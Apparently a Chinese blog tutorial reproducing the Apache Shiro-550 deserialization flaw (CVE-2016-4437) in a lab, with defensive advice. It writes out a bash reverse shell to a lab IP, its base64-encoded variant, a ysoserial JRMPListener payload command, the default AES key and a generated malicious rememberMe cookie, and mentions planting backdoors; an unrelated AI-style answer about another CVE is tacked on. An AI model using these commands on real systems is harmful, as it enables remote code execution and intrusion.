Shiro-550漏洞分析与复现(CVE-2016-4437)

1.Shiro介绍

Shiro是一个由Apache提供的功能强大且易于使用的Java框架,它主要用于实现身份验证、授权、加密和会话管理等安全功能

2.Remember Me功能

Shiro中实现身份验证主要是靠Remember Me(记住我)功能,它允许用户在关闭浏览器后再次访问时无需重新登陆。用户登陆成功后生成一个加密的、包含用户身份信息的序列化对象,加密过程是 身份信息 -- 序列化 -- AES加密 -- base64编码 ,然后储存在remember Me的cookie中。当用户再次登录时,浏览器会携带这个remember Me发送给服务器。服务器解析从而获得用户身份信息,实现免登录访问,过程就是base64解码 -- AES解密 -- 反序列化 -- 身份信息 。

3.漏洞分析

Shiro550漏洞的关键在于AES密钥是硬编码。由于密钥是公开的,攻击者可以轻松的构造恶意的序列化对象,并使用相同的密钥进行加密,然后将加密的恶意对象注入到RememberMe Cookie中

当受害用户再次访问网站时,服务器会尝试解密并反序列化RememberMe Cookie中的内容。如果cookie中包含的是恶意序列化对象,那么反序列化过程中就会执行恶意代码,导致安全漏洞

4.漏洞验证

进行漏洞复现前,应该先验证漏洞是否存在。

未登录时:请求包的cookie中不应该有”rememberMe”字段,同时返回包的”set-Cookie”中也不应该有”rememberMe=deleteMe”字段

登录失败时:无论是否勾选”rememberMe”,返回的set-Cookie中通常会有”rememberMe=deleteMe”字段,但是这并不能直接说明存在漏洞

不勾选”rememberMe”登陆成功时:返回包的set-Cookie中会有”rememberMe”字段,但之后的所有请求中cookie都不会有”rememberMe”字段

勾选”rememberMe”登录成功时:返回包的set-cookie中不仅有”rememberMe=deleteMe”字段,还会有”remember”字段(包含加密和编码后的信息),之后所有的请求中cookie都会包含”rememberMe”字段

5.实验准备

攻击机kali ip: 192.168.3.183

靶机ubuntu ip: 192.168.3.163

需要用的工具下载

git clone https://github.com/fffffw1/shiro_exploit.git

会报错,原因是因为你没有对当前文件夹操作的权限,你需要授权

sudo chmod 777 /home/cdl/桌面/vulhub/shiro/CVE-2016-4437/

6.实验步骤

1.打开靶场

docker-compose up -d

输入你的ip+8080端口,即192.168.3.163:8080

2.用bp抓包查看

3.攻击机开启端口监听

nc -lvvp 6666

4.扫描AES加密的密钥

 python3 shiro_exploit.py -u http://192.168.3.163:8080

会报错 No module named 'Crypto',我们执行

pip install pycryptodome --break-system-packages

AES密钥kPH+bIxk5D2deZiIxcaaaA==

你会发现你没扫描到AES密钥,哈哈哈

这个原因是你的java版本不正确,需要安装jdk8

sudo apt-get install openjdk-8-jdk

切换jdk版本

sudo update-alternatives --config java

5.构建反弹shell

bash -i >& /dev/tcp/192.168.3.183/6666 0>&1

我们对反弹shell的命令进行base64编码

Runtime.exec Payload Generater | AresX's Blog

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar生成payload作用于靶机

这条命令配置了一个 JRMPListener 服务器,它监听在 TCP 端口 7777 上,准备接收通过 Java 远程方法协议(JRMP)发送的反序列化数据,并利用 CommonsCollections5 漏洞执行反弹shell命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTYzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

6.生成一个针对 Apache Shiro rememberMe 功能的、经过 AES 加密并 Base64 编码的攻击载荷令牌

现在可以把我们第4步扫描到的AES密钥  kPH+bIxk5D2deZiIxcaaaA==  填在shiro.py文件中

生成一个针对 rememberMe 功能的 AES 加密并 Base64 编码的字符串

python3 shiro.py 192.168.3.163:7777

注意shiro.py的位置应当保证和ysoserial.jar在同一目录下,否则会报错找不到ysoserial.jar

rememberMe=6PugXuV8QeuuEwwPmezTO/bACLLHwDcedMJPBUFPEb4sIRGUYaxux4vqUATXl2vqjB+R0TVs/2Mvq1y5U23fCAoB8eXakTn56wfvSoX88OcRwjUAVi+yYnvcnZdsAqExBntdR0UevbLngr0MQp2eN74scQFkTodhlokJVIm8nziQzYx0mpgS8nLNjSVXKxtiaBULa3+mdTn183uQxLxMIzwEo7oRCmOTmNHuZj1INE/1Y0arW04tfitT2xbJtAE55D6y5pM9Ooi41upZqY398C22xgbm1Oubc1ld7wcJyikzQtO7srfwvxlYNYyjoOrR/9gFuPj3+76RhxrNHW3eI7o0QWDuuabobFoMUZEWdEh7wGgY7O84gUGEHHdmA3Sk/aNboTHjyn9odkUu4G+NIg==

而你,我的朋友,你会因为python2和python3格式的区别报错

7.获取反弹shell

点击提交出现如下图所示


两个监听的终端都有反应即为正常,没反应可能是构建反弹shell的ip错误


8.维持权限,创建后门等

7.流量特征

http请求头中有rememberme的字样和base64编码,把cookie值复制出来,解码再解密,就会发现恶意函数

8.防御

修改加密密钥,不随意使用公共密钥

升级版本,密钥硬编码问题存在于1.2.4以下的版本,升级到高版本,密钥就是随机生成的

禁用rememberme功能

很抱歉,但我没有找到关于Apache Shiro目录穿越漏洞CVE-2023-34478的相关信息。根据我所了解的情况,Apache Shiro在2022年6月29日披露了一个权限绕过漏洞CVE-2022-32532),该漏洞可能导致未经授权的远程攻击者绕过身份认证。Apache官方已发布修复此漏洞的版本,并建议用户尽快升级至Apache Shiro 1.9.1及以上版本以确保安全。\[1\]\[2\]\[3\] 请注意,我的回答是基于提供的引用内容,如果有任何其他信息或更新,请参考官方渠道获取最新信息。 #### 引用[.reference_title] - *1* *3* [[ 漏洞复现篇 ] Apache Shiro 身份认证绕过漏洞 (CVE-2022-32532)](https://blog.csdn.net/qq_51577576/article/details/126155240)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Apache Shiro权限绕过漏洞CVE-2022-32532)](https://blog.csdn.net/weixin_54438700/article/details/128324850)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值